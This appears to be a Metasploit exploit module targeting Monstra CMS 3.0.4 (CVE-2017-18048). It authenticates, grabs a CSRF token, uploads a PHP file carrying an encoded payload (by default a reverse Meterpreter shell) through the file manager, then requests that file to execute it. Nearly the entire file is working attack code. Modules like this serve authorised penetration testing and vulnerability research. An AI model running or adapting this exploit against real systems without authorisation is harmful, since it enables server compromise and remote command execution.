##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Monstra CMS Authenticated Arbitrary File Upload',
      'Description' => %q{
         MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to remote command execution on the remote server.
         An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
         This module was tested against MonstraCMS 3.0.4.
       },

      'Author' =>
        [
          'Ishaq Mohammed <shaikhishaq201@gmail.com>', # Discoverer & Proof of Concept
          'Touhid M.Shaikh <touhidshaikh22@gmail.com>', # Metasploit Module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE','2017-18048'],
          ['EDB','43348'],
          ['URL','https://blogs.securiteam.com/index.php/archives/3559'],
          ['URL','https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1'],
          ['URL','https://www.youtube.com/watch?v=-ziZ6DELbzw']
        ],
       'DefaultOptions' =>
          {
            'PAYLOAD' => 'php/meterpreter/reverse_tcp',
            'Encoder' => 'php/base64'
          },
       'Privileged' => false,
       'Platform'   => ['php'],
       'Arch'       => ARCH_PHP,
       'Targets' =>
        [
          ['Monstra CMS 3.0.4', { }],
        ],
       'DefaultTarget'  => 0,
       'DisclosureDate' => 'Dec 18 2017'))

        register_options(
        [
          OptString.new('TARGETURI', [ true, "Base Monstra CMS directory path", '/']),
          OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
          OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])
        ])
    end

  def check
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'admin', 'index.php') })
    rescue
      vprint_error("Unable to access the index.php file")
      return CheckCode::Unknown
    end

    if res and res.code != 200
      vprint_error("Error accessing the index.php file")
      return CheckCode::Unknown
    end

    if res.body =~ /<\/a>.*?Version (\d+\.\d+\.\d+)/i
      version = Gem::Version.new($1)
      vulnVersion = Gem::Version.new('3.0.4')
      vprint_status("Monstra CMS: #{version}")

      if version > vulnVersion
        return CheckCode::Safe
      elsif version == vulnVersion
        return CheckCode::Appears
      elsif version < vulnVersion
        return CheckCode::Detected
      end
    end
  end

  def uri
    target_uri.path
  end

  def login
    res = nil
    vprint_status('Trying to Login ......')
    # Send Creds with cookies.
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'admin', 'index.php'),
      'vars_post' => {
        'login' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'login_submit' => 'Log+In'
      }
    })
    cookies = res.get_cookies

    fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?

    # Try to access index page with authenticated cookie.
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'admin' '/index.php'),
      'cookie' => cookies
    })
    fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?

    # if we redirect to core_welcome then we assume we have authenticated cookie.
    if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard')
      print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")
      store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
      return cookies
    else
      fail_with(Failure::Unreachable, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
    end
  end

  def exploit
    #Login Function Execute and Return Cookies
    cookies = login

    #Random payload name.
    pay_name = "#{rand_text_alpha(5..10)}.PHP"


    # Payload Gen.
    evilbyte = "<?php #{payload.encoded}; ?>"

    # Request for CSRF token for file upload.
    res = send_request_cgi({
      'uri' => normalize_uri(uri, 'admin', '/index.php'),
      'vars_get' => {'id' => 'filesmanager'},
      'method' => 'GET',
      'cookie' => cookies
    })

    # Grabbing CSRF token from body
    /<input type="hidden" id="csrf" name="csrf" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
    fail_with(Failure::Unreachable, "#{peer} - Could not determine CSRF token") if csrf.nil?
    vprint_good("CSRF-Token for File Upload : #{csrf}")

    # setup POST request.
    post_data = Rex::MIME::Message.new
    post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="csrf"') # CSRF token #form-data; name="file"; filename="agent22.PHP"
    post_data.add_part("#{evilbyte}", content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file\"; filename=\"#{pay_name}\"")  # payload
    post_data.add_part("Upload", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="upload_file"')  # extra
    data = post_data.to_s

    vprint_status("Trying to upload file #{pay_name} with malicious content....")
    # Lets Send Upload request.
    res = send_request_cgi({
      'uri' => normalize_uri(uri, 'admin', '/index.php'),
      'vars_get' => {'id' => 'filesmanager'},
      'method' => 'POST',
      'cookie' => cookies,
      'Connection' => 'close',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })

    # Cleanup delete payload after get meterpreter.
    register_files_for_cleanup(pay_name)


    # Execute our payload simply call to payload.
    print_status("Executing Payload " )
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, 'public', 'uploads', pay_name)
    })

  end
end
